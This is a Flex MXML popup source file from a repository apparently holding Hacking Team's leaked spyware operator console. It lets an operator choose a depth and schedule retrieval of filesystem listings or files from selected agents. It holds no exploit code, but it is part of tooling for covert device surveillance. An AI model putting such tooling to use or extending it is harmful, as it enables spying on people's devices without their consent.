hackedteam/rcs-console

View on GitHub
src/it/ht/rcs/console/operations/view/filesystem/DepthPopup.mxml

Summary

Maintainability
Test Coverage
<?xml version="1.0" encoding="utf-8"?>
<utils:TitleWindowSaveCancel xmlns:fx="http://ns.adobe.com/mxml/2009"
                             xmlns:s="library://ns.adobe.com/flex/spark"
                             xmlns:mx="library://ns.adobe.com/flex/mx"
                             xmlns:utils="it.ht.rcs.console.utils.*"
                             save="save()" title="Retrieve">

  <fx:Script>
    <![CDATA[
      import it.ht.rcs.console.agent.controller.AgentManager;
      import it.ht.rcs.console.agent.model.Agent;
      import it.ht.rcs.console.notifications.NotificationPopup;
      import it.ht.rcs.console.utils.AlertPopUp;
      
      import locale.R
      
      [Bindable]
      public var item:Object;
      
      [Bindable]
      public var items:Array;
      
      private var numItemsToProcess:uint;
      
      private function save():void
      {
        var path:String;
        numItemsToProcess=items.length;
        for(var i:int=0;i<items.length;i++)
        {
          if (items[i].attr == FileSystemView.SUBROOT)//-1
            path = '/';
          else {
           path=items[i].path
          }
          
          var aid:String = items[i].aid;
          items[i].pending=true;
          AgentManager.instance.filesystem(aid, path, depthStepper.value, function(e:Event):void { 
            numItemsToProcess--;
            if(numItemsToProcess==0)
            {
             //AlertPopUp.show('Items scheduled for retrieval');
              NotificationPopup.showNotification('Items scheduled for retrieval',2)
              dispatchEvent(new Event("close"))
              close();
              
            }
          });
          
          
        }
      }
      
/*       private function save():void
      {
        var path:String;
        numItemsToProcess=items.length;
       for(var i:int=0;i<items.length;i++)
         {
           if (items[i].attr == FileSystemView.SUBROOT)//-1
             path = '/';
           else {
             path = buildPath();
             //var separator:String = path.indexOf('/') == -1 ? '\\' : '/';
             var separator:String=""
             var agent:Agent=items[i].agent;
             if(items[i].agent.platform=="windows" || items[i].agent.platform=="symbian")
             {
               separator="\\";
             }
             else
             {
               separator="/";
             }
             var lastChar:String = path.charAt(path.length-1);
             if (lastChar != separator)
               path = path + separator + '*';
           }
           
           var aid:String = getAgentId(items[i]);
           items[i].pending=true;
           AgentManager.instance.filesystem(aid, path, depthStepper.value, function(e:Event):void { 
             numItemsToProcess--;
             if(numItemsToProcess==0)
             {
               AlertPopUp.show('Items scheduled for retrieval');
               dispatchEvent(new Event("close"))
               close();
               
             }
           });
           
           
         }
      } */
      
      private function buildPath():String
      {
        var pathElements:Array = [];
        var el:Object = item;  
        
        var separator:String = "";
        if(item.agent.platform=="windows" || item.agent.platform=="winmo" || item.agent.platform=="symbian")
        {
          separator="\\"
        }else
        {
          separator="/"
        }
        
        do {
          pathElements.push(el.name);
          // on root check if it's windows or not
          // windows is something like c: d:
          // others are /
         /*  if (el.parent.attr == FileSystemView.SUBROOT) {
           if (el.name != '/')
             separator = "\\";
          } */
          el = el.parent;
        } while (el.attr != FileSystemView.SUBROOT);
        
        return pathElements.reverse().join(separator);
      }
      
      private function getAgentId(item:Object):String
      {
        var el:Object = item;
        if (item.attr != FileSystemView.SUBROOT) {
          do {
            el = el.parent;
          } while (el.attr != FileSystemView.SUBROOT);
        }
        return el.agent._id;
      }
    ]]>
  </fx:Script>
  
  <s:Form defaultButton="{saveButton}">
    <s:FormItem label="Depth">
      <s:HGroup verticalAlign="middle">
        <s:NumericStepper id="depthStepper" maximum="5" minimum="1" value="1"/>
        <s:Label paddingTop="1" text=" levels"/>
      </s:HGroup>
    </s:FormItem>
  </s:Form>
  
  <fx:Declarations>
    <s:RadioButtonGroup id="group"/>
  </fx:Declarations>

</utils:TitleWindowSaveCancel>